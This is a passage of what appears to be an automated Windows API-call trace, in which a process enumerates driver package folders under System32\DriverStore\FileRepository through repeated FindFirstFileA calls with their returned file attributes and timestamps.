ftLastWriteTime.dwLowDateTime=0x62b0b970, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.230] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\netl260a.inf_amd64_neutral_085226e1dfe76c55\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4499d47a, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x62ae5810, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x62ae5810, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.231] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\netloop.inf_amd64_neutral_856142fd87f1c21a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x429c6dff, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x61efe9fa, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x61efe9fa, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.232] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\netmyk00.inf_amd64_neutral_9c0c35afdddc16d2\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x451f2189, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x655e45bf, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x655e45bf, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.234] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\netnvm64.inf_amd64_neutral_59c2a018fe2cf0b4\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44657634, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x628f662d, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x628f662d, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.243] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\netnvma.inf_amd64_neutral_99bb33c9a5bedaea\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44715d15, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x629dae6e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x629dae6e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.244] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\netr28ux.inf_amd64_neutral_54f2470c084714e1\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ff86731, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x60fabc3e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x60fabc3e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.246] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\netr28x.inf_amd64_neutral_c86d6d5c3810fc04\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x400910d3, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x60ff7eff, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x60ff7eff, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.247] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\netr7364.inf_amd64_neutral_68988e550e69a417\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x40175915, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x610441bf, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x610441bf, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.249] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\netrndis.inf_amd64_neutral_4c56d83f6e4d75b0\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x396318ef, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x83657e78, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x5ed27cfe, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.256] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\netrtl64.inf_amd64_neutral_0383c5de75359695\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x443cfecf, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x62564526, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x62564526, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.257] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\netrtx64.inf_amd64_neutral_410e89ed86071c9b\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x444b4711, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x625b07e7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x625b07e7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.259] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\nettun.inf_amd64_neutral_bd24fb174fabec97\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x41434677, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6161176a, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6161176a, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.261] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\netvfx64.inf_amd64_neutral_194cb6d2ea3a486e\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4433794e, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x62564526, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x62564526, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.262] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\netvg62a.inf_amd64_neutral_5817ae5135655364\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4427926d, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6253e3c6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6253e3c6, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.264] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\netvwifibus.inf_amd64_neutral_9d0740f32ce81d24\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4090bf43, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x61259503, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x61259503, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.265] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\netw5v64.inf_amd64_neutral_a6b778ba802632cc\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f731a22, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x60e08d1b, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x60e08d1b, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.266] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\netxex64.inf_amd64_neutral_77b02fd738dca150\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44063f29, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x62290b01, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x62290b01, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.269] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\netxfx64.inf_amd64_neutral_3336ecb2950fdc45\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x457bf734, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6599c826, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6599c826, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.270] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\nfrd960.inf_amd64_neutral_cfc8c0013e9ede68\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42680fb9, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x61df4058, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x61df4058, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.272] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_neutral_4616c3de1949be6d\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3830c717, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x3ba8a85d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x3ba8a85d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.273] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_neutral_4616c3de1949be6d\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3830c717, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x384894d9, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x384894d9, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0146.286] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\nulhpopr.inf_amd64_neutral_e078ec466987bb3b\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3b75ebcc, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x601fbda5, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x601fbda5, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.287] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\nvraid.inf_amd64_neutral_dd659ed032d28a14\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x394023f6, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x3be42ac4, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x3be42ac4, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.288] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\nv_lh.inf_amd64_neutral_bc69f20e3115af59\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f222b59, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x60cd8219, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x60cd8219, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.295] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\pcmcia.inf_amd64_neutral_1678e66e0cbb04b2\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3e3b45de, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x608d3cf1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x608d3cf1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.296] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\ph3xibc0.inf_amd64_neutral_c24bcc939e6dfc23\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46999c55, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x65ded00e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x65ded00e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.298] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\ph3xibc1.inf_amd64_neutral_662220c3016bb4d0\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46a58336, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x65e392cf, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x65e392cf, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.314] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\ph3xibc10.inf_amd64_neutral_2c5d0c618dbfaf2a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46b16a17, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x65e5f42f, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x65e5f42f, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.320] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\ph3xibc11.inf_amd64_neutral_bb18e5f134c40c68\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46bd50f9, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x65eab6ef, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x65eab6ef, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.326] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\ph3xibc12.inf_amd64_neutral_ff7295ba5a46d63f\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46cb993a, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x65ed1850, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x65ed1850, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.333] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\ph3xibc2.inf_amd64_neutral_7621f5d62d77f42e\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46d9e17c, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x65f1db10, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x65f1db10, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.334] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\ph3xibc3.inf_amd64_neutral_1da6abc36a79974f\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46e5c85d, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x65f43c71, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x65f43c71, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.336] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\ph3xibc4.inf_amd64_neutral_310871d800afa82a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46f671ff, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x65f8ff31, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x65f8ff31, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.337] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\ph3xibc5.inf_amd64_neutral_2270382453de2dbb\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4704ba41, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x65fb6091, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x65fb6091, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.339] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\ph3xibc6.inf_amd64_neutral_2818f7b3b62bdd39\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4710a122, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x65fdc1f2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x65fdc1f2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.341] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\ph3xibc7.inf_amd64_neutral_348f512722c79525\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x471a26a3, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x66002352, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x66002352, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.342] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\ph3xibc8.inf_amd64_neutral_c93e7023ef90e637\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x47260d85, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x660284b2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x660284b2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.344] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\ph3xibc9.inf_amd64_neutral_ff3a566e4b6ba035\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4731f466, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x66074773, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x66074773, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.345] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\ph6xib64c0.inf_amd64_neutral_a43df8f7441e1c61\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4681ce92, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x65da0d4e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x65da0d4e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.352] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\ph6xib64c1.inf_amd64_neutral_68c99681343e9b68\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x469016d4, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x65dc6eae, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x65dc6eae, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.356] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnbr002.inf_amd64_neutral_db1d8c9efda9b3c0\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5116ac8a, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c4e084c, ftLastAccessTime.dwHighDateTime=0x1ca0444, 